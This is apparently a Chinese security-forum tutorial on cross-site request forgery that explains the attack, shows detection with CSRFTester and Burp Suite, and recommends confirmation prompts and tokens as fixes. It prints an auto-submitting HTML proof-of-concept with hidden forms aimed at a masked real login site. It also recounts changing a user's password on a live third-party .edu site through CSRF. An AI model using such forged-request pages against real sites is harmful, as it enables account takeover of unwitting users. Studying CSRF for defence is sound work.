http://bbs.ichunqiu.com/thread-9236-1-1.html?from=51ctobaibai

社区:i春秋
  
  时间:2016年8月4日10:30:00
  
  作者:
LoneliNess

  
  
前言  


  
小编写本文章,只是希望能跟大牛交流交流,让更多人了解它....如有错误,请你雅正!

  

  

目录

  

  

·          第一节 初识CSRF

  

·          第二节 检测CSRF漏洞

  

·          第三节 实战案例及修复方案

  

·          第四节 严正声明

  

  

正文

  


  
第一节 初识CSRF

  

1.1什么是CSRF
  
  CSRF(Cross-site request forgery
跨 站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,并且***方式几乎相 左。XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS***相比,CSRF***往往不大流行(因此对其 进行防范的资源也相当稀少)和难以防范,所以被认为比更具危险性
  通俗的讲:***者盗用了你的身份,以你的名义进行一些非法操作,CSRF可以让你的账号发送邮件等操作,从而获取你的相关信息

  

1.2CSRF***原理

一个图解释了一切


例子:当你登录了i春秋的网站,正在进行转账泉币的业务,这时,***者像你发了一个url,然而,这个url是***者精心构造的转账业务代码,而且是同一个网站,你可能认为是安全的,然后点击了它,but,你的泉币可能不翼而飞  (PS:咱i春秋木有转账功能)

第二节检测CSRF漏洞

检测它的方法有多种,笔者经常用的是全自动的检测方法和半自动的,当然也有手工的


1.1、全自动化检测

CSRF-Scanner ,这块工具,缺点真心大,就是误报率太高了,几条中半天挑不出一条,so,小编就不详细的介绍它了


1.2、半自动化检测


CSRFTester

下载地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

1.安装CSRFTester


对,没错,下载下来,打开run.bat就可以打开它了(PS:需要java的环境)

看到这个,你也许会纳闷啥意思,他表示CSRFTester已经在监听8008端口了,你要使用它,必须要将浏览器的端口设置为8008


2. 设置浏览器代理(360浏览器为例)

3. 用户登录

单击“Start Recording”,开启CSRFTester的检测工作,这样以后我们所有访问的URL以及参数都会被记录下来。


4. 通过CSRFTester抓取和伪造请求

当你登录一个网站账号时,CSRF Tester会进行抓取

我们抓取了该请求,在Step属性中添加请求,然后将Form Parameter中的eatName改成CSRFTest,然后单击Generate HTML按钮来产生CSRF***脚本。


5. 分析CSRF***脚本

[AppleScript] 纯文本查看 复制代码

?

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
< !DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" >
< html >
< head >
< title > OWASP CRSFTester Demonstration < / title >
< / head >
 
< body >
< script language = "JavaScript" >
var pauses = new Array ( "406" , "215" , "344" , "390" ) ;
 
function pausecomp ( millis )
{
     var date = new Date ( ) ;
     var curDate = null;
 
     do { curDate = new Date ( ) ; }
     while ( curDate - date < millis ) ;
}
 
function fireForms ( )
{
     var count = 4 ;
     var i = 0 ;
      
     for ( i = 0 ; i < count; i + + )
     {
         document .forms.submit ( ) ;
          
         pausecomp ( pauses ) ;
     }
}
      
< / script >
< H 2 > OWASP CRSFTester Demonstration < / H 2 >
< form method = "GET" name = "form0" action = "https://user.********com:443/login/signin" >
< input type = "hidden" name = "name" value = "value" / >
< / form >
< form method = "GET" name = "form1" action = "https://user.********.com:443/login/verify_p_w_picpath?d=1470218273;" >
< input type = "hidden" name = "name" value = "value" / >
< / form >
< form method = "POST" name = "form2" action = "https://user.**********.com:443/login/selectUserEnt" >
< input type = "hidden" name = "username" value = "1*********18" / >
< input type = "hidden" name = "name" value = "1********18" / >
< / form >
< form method = "POST" name = "form3" action = "https://user.************.com:443/login/signin" >
< input type = "hidden" name = "username" value = "1********18" / >
< input type = "hidden" name = "password" value = "**********" / >
< input type = "hidden" name = "yzm" value = "" / >
< / form >
 
< / body >
< / html >

从这段代码中,阔以看出,这款工具把所有属性生成了隐藏的input标签,然后添加了默认值,当访问这个页面时,JavaScript会自动提交这个表单………………

当然,你也可以使用burp中的scanner进行检测………


在任意http请求中,右键,选择Engagement tools –Generate CSRF POC 即可生成CSRFPOC


第三节 实战案例及修复方案

目标:***.***.edu.com


注册账户,发现修改用户名处无验证,直接改密码

Burp抓包,生成CSRF POC

我们可以修改代码中的数据
当前用户密码151515

我们将他修改成123456

提交………..

之后可以看到……修改成功……

修复方案:

1.    二次确认(如弹窗提示)

2.    Token认证


第四节 严正声明


本文讨论的技术仅用于研究学习技术交流,严禁用于非法行为和破坏行为,否则造成的一切法律责任与作者以及本网站无关。

本文原创作者:LoneliNess,转载须注明来自i春秋社区(BBS.ichunqiu.com)


结束语


相信大家一定收获颇丰,请多多支持i春秋,不忘初心,方得始终!!!